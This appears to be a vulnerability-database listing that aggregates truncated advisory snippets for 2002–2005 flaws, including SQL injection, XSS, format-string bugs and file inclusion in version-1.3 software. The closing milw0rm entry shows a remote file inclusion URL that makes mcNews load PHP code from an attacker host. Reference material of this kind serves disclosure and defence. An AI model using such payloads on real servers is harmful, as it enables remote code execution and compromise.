CVE-2002-1898

CVE-2002-1898 affects Terminal 1.3 on Apple Mac OS X 10.2. The issue allows remote attackers to execute arbitrary commands via shell metacharacters in a telnet:// link that is opened and executed by Terminal.app. Root cause is improper handling of telnet:// URLs by Terminal.app, enabling command ...

[SA15736] amaroK Web Frontend Exposure of User Credentials

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

CVE-2005-1906

SQL injection vulnerability in login.asp in livingmailing 1.3 allows remote attackers to execute arbitrary SQL commands via the password. NOTE: there is little public information about this product and its vendor, and the original researcher announcement is no longer available...

CVE-2005-1906

SQL injection vulnerability in login.asp in livingmailing 1.3 allows remote attackers to execute arbitrary SQL commands via the password. NOTE: there is little public information about this product and its vendor, and the original researcher announcement is no longer available...

PT-2005-2863 · Unknown · Livingmailing

Name of the Vulnerable Software and Affected Versions: livingmailing version 1.3 Description: The issue allows remote attackers to execute arbitrary SQL commands via the password in the login.asp file. There is little public information available about the product and its vendor. Recommendations:...

CVE-2005-1701

CVE-2005-1701 affects PortailPHP 1.3 and is a SQL injection vulnerability exploitable via the id parameter to the News, File, Liens, or Faq modules. The issue allows remote attackers to execute arbitrary SQL commands, as stated in the CVE entry. The connected records corroborate the same vulnerab...

PortailPHP 1.3 - ID SQL Injection

PortailPHP 1.3 - ID SQL Injection source: https://www.securityfocus.com/bid/13708/info PortailPHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could...

PortailPHP 1.3 - 'ID' SQL Injection

source: https://www.securityfocus.com/bid/13708/info PortailPHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...

CVE-2004-1785

The provided connected documents confirm a SQL injection vulnerability in Invision Power Board 1.3, specifically in the calendar.php component. The issue allows remote attackers to inject arbitrary SQL via the m parameter that controls the $this->chosen_month variable, enabling potential data ...

CVE-2005-1385

Safari 1.3 allows remote attackers to cause a denial of service application crash via a long https URL that triggers a NULL pointer dereference...

CVE-2005-1100

Format string vulnerability in the ErrorLog function in cnf.c in Greylisting daemon GLD 1.3 and 1.4 allows remote attackers to execute arbitrary code via format string specifiers in data that is passed directly to syslog...

CVE-2005-1385

Safari 1.3 allows remote attackers to cause a denial of service application crash via a long https URL that triggers a NULL pointer dereference...

DEBIAN-CVE-2005-0534

Multiple cross-site scripting XSS vulnerabilities in MediaWiki 1.3.x before 1.3.11 and 1.4 beta before 1.4 rc1 allow remote attackers to inject arbitrary web script...

PHPMyVisites 1.3 - 'Set_Lang' File Inclusion

source: https://www.securityfocus.com/bid/13370/info phpMyVisites allows attackers to include arbitrary files. While it has been demonstrated that local files may be included through this vulnerability, there is an unconfirmed possibility of remote file inclusion. Exploitation could disclose loca...

CVE-2005-1099

CVE-2005-1099 affects the Greylisting Daemon (GLD) up to version 1.4. The vulnerability is described as multiple buffer overflows in the HandleChild function inside server.c when GLD is listening on a network interface, enabling remote arbitrary code execution. Public references document exploit ...

CVE-2005-0800

CVE-2005-0800 describes a PHP remote file inclusion vulnerability in mcNews 1.3 and earlier. The flaw exists in install.php where the l parameter can be modified to reference a URL on a remote server containing PHP code, allowing an attacker to execute arbitrary PHP. The issue is triggered throug...

McNews 1.x - 'install.php' Arbitrary File Inclusion

source: https://www.securityfocus.com/bid/12835/info mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script. This issue is reported to affect mcNews versions 1.3 a...

CVE-2005-0720

CVE-2005-0720 documents a PHP remote file inclusion vulnerability in the admin/header.php component of mcNews 1.3 . An attacker can cause the application to execute arbitrary PHP code by altering the skinfile parameter to reference a URL on a remote server that contains the code. The description ...

PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: PHP mcNews Version: 1.3 Homepage: http://www.phpforums.net/index.php?dir=dld Author: Filip Groszynski VXSfx Date: 7 March 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Vulnerable code in mcNews/admin/header.php: ? //...

PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability

No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/mcNews/admin/header.php?skinfile=http://hackerbox/ milw0rm.com 2005-03-07...